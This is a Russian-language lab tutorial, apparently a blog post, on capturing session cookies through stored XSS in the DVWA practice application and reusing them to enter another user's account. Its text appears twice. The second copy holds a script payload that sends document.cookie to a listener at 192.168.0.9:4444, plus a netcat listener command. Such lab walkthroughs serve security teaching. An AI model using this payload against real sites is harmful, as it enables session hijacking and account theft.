Захват файлов cookie
Бывают случаи, когда злоумышленнику требуются аутентифицированные файлы cookie вошедшего в систему пользователя либо для доступа к его учетной записи, либо для других злонамеренных целей.
Итак, давайте посмотрим, как эта XSS-уязвимость позволяет злоумышленникам перехватывать файлы cookie сеанса и как злоумышленник злоупотребляет ими, чтобы проникнуть в учетную запись пользователя.
Я открыл уязвимое веб-приложение «DVWA» в своем браузере и вошел в систему с помощью admin: password. Кроме того, на левой панели я выбрал уязвимость как XSS (Stored), а пока давайте оставим безопасность на низком уровне.
Давайте введем нашу вредоносную полезную нагрузку в раздел «Сообщение», но перед этим нам нужно увеличить длину текстовой области, так как ее недостаточно для внедрения нашей полезной нагрузки. Поэтому откройте вкладку элемента проверки, нажав «Ctrl + I», чтобы просмотреть заданную длину сообщения для текстовой области, а затем измените поле максимальной длины сообщения с 50–150.
На следующем снимке экрана вы можете увидеть, что я внедрил скрипт, который, таким образом, захватит файл cookie и отправит ответ нашему слушателю, когда любой пользователь посетит эту страницу.
С другой стороны, давайте настроим наш слушатель Netcat.
Выйдите из системы и войдите снова как новый пользователь или в какой-либо другой браузер, теперь, если пользователь посещает страницу XSS (Сохраненная), его файлы cookie сеанса, таким образом, будут переданы нашему слушателю.
На скриншоте ниже видно, что мы успешно получили аутентифицированные файлы cookie.
Но что мы могли с ними сделать?
Попробуем попасть в его аккаунт. Я снова открыл DVWA, но на этот раз мы не войдем в систему, а я получу записанные файлы cookie. Я использовал плагин редактора файлов cookie, чтобы управлять сеансом.
На приведенном ниже снимке экрана вы можете видеть, что я изменил PHPSESID на тот, который я записал, и изменил уровень безопасности с невозможного до низкого и даже снизил уровень безопасности _level с 1 до 0 и, таким образом, сохранил эти изменения. Давайте даже изменим URL, удалив login.php.
Теперь просто перезагружает страницу, на скриншоте видно, что мы в приложении.
Бывают случаи, когда злоумышленнику требуются аутентифицированные файлы cookie вошедшего в систему пользователя либо для доступа к его учетной записи, либо для других злонамеренных целей.
Итак, давайте посмотрим, как эта XSS-уязвимость позволяет злоумышленникам перехватывать файлы cookie сеанса и как злоумышленник злоупотребляет ими, чтобы проникнуть в учетную запись пользователя.
Я открыл уязвимое веб-приложение «DVWA» в своем браузере и вошел в систему с помощью admin: password. Кроме того, на левой панели я выбрал уязвимость как XSS (Stored), а пока давайте оставим безопасность на низком уровне.
Давайте введем нашу вредоносную полезную нагрузку в раздел «Сообщение», но перед этим нам нужно увеличить длину текстовой области, так как ее недостаточно для внедрения нашей полезной нагрузки. Поэтому откройте вкладку элемента проверки, нажав «Ctrl + I», чтобы просмотреть заданную длину сообщения для текстовой области, а затем измените поле максимальной длины сообщения с 50–150.
На следующем снимке экрана вы можете увидеть, что я внедрил скрипт, который, таким образом, захватит файл cookie и отправит ответ нашему слушателю, когда любой пользователь посетит эту страницу.
<script>new Image().src="http://192.168.0.9:4444?output="+document.cookie;</script>С другой стороны, давайте настроим наш слушатель Netcat.
nc –lvp 4444Выйдите из системы и войдите снова как новый пользователь или в какой-либо другой браузер, теперь, если пользователь посещает страницу XSS (Сохраненная), его файлы cookie сеанса, таким образом, будут переданы нашему слушателю.
На скриншоте ниже видно, что мы успешно получили аутентифицированные файлы cookie.
Но что мы могли с ними сделать?
Попробуем попасть в его аккаунт. Я снова открыл DVWA, но на этот раз мы не войдем в систему, а я получу записанные файлы cookie. Я использовал плагин редактора файлов cookie, чтобы управлять сеансом.
На приведенном ниже снимке экрана вы можете видеть, что я изменил PHPSESID на тот, который я записал, и изменил уровень безопасности с невозможного до низкого и даже снизил уровень безопасности _level с 1 до 0 и, таким образом, сохранил эти изменения. Давайте даже изменим URL, удалив login.php.
Теперь просто перезагружает страницу, на скриншоте видно, что мы в приложении.